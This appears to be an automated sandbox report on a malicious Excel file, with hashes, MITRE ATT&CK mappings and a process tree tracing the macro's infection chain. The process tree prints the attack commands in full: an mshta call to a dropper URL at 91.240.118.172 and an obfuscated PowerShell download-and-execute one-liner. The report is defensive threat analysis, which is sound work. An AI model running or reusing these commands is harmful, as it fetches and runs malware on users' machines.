637dd7cb5c579d38f6e17ed3befe1b5852a2e49d2a1cc1428ba2d290bbf60c94

General

Target
tmpmb0lcg81.xls
Size 47KB
Sample220128-15p74afcd3
SHA256 637dd7cb5c579d38f6e17ed3befe1b5852a2e49d2a1cc1428ba2d290bbf60c94
MD5 6dbda3db61c78731a8ddf9c070bc70e7
SHA1 2f756db99164319f34492c15f9528d093451d110
SHA512 a44d4905e88df591744473a0d4f831201e49d6a48d0406f202811f5a5ef2bf1900d86729e77607d24f42fa47e835e551cfff0164704ffea2b546cac339505e44
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://91.240.118.172/mm/nn/se.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/mm/nn/se.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	868	3708	cmd.exe	68

Blocklisted process makes network request 3 IoCs

flow	pid	Process
49	3164	mshta.exe
51	1272	powershell.exe
53	1272	powershell.exe

Downloads MZ/PE file
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3984	3164	WerFault.exe	79

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3708	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1272	powershell.exe
1272	powershell.exe
1272	powershell.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe
3984	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	3984	WerFault.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3708 wrote to memory of 868	3708	EXCEL.EXE	75
PID 3708 wrote to memory of 868	3708	EXCEL.EXE	75
PID 868 wrote to memory of 3204	868	cmd.exe	77
PID 868 wrote to memory of 3204	868	cmd.exe	77
PID 868 wrote to memory of 1864	868	cmd.exe	78
PID 868 wrote to memory of 1864	868	cmd.exe	78
PID 1864 wrote to memory of 3164	1864	cmd.exe	79
PID 1864 wrote to memory of 3164	1864	cmd.exe	79
PID 3164 wrote to memory of 1272	3164	mshta.exe	82
PID 3164 wrote to memory of 1272	3164	mshta.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpmb0lcg81.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3708
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
    3⤵
    PID:3204
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/mm/nn/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:3164
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3164 -s 1640
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3984
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1272-282-0x000001F364760000-0x000001F364782000-memory.dmp

Download

memory/1272-302-0x000001F3647E0000-0x000001F36481C000-memory.dmp

Download

memory/1272-313-0x000001F364F90000-0x000001F365006000-memory.dmp

Download

memory/1272-318-0x000001F34C6F0000-0x000001F364830000-memory.dmp

Download

memory/1272-323-0x000001F34C6F0000-0x000001F364830000-memory.dmp

Download

memory/3708-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/3708-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/3708-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/3708-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/3708-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/3708-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Download

memory/3708-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads